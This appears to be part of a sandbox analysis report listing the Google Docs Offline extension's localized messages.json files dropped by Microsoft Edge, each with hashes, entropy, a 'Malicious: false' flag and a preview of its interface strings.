Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wuser popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1949558602\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

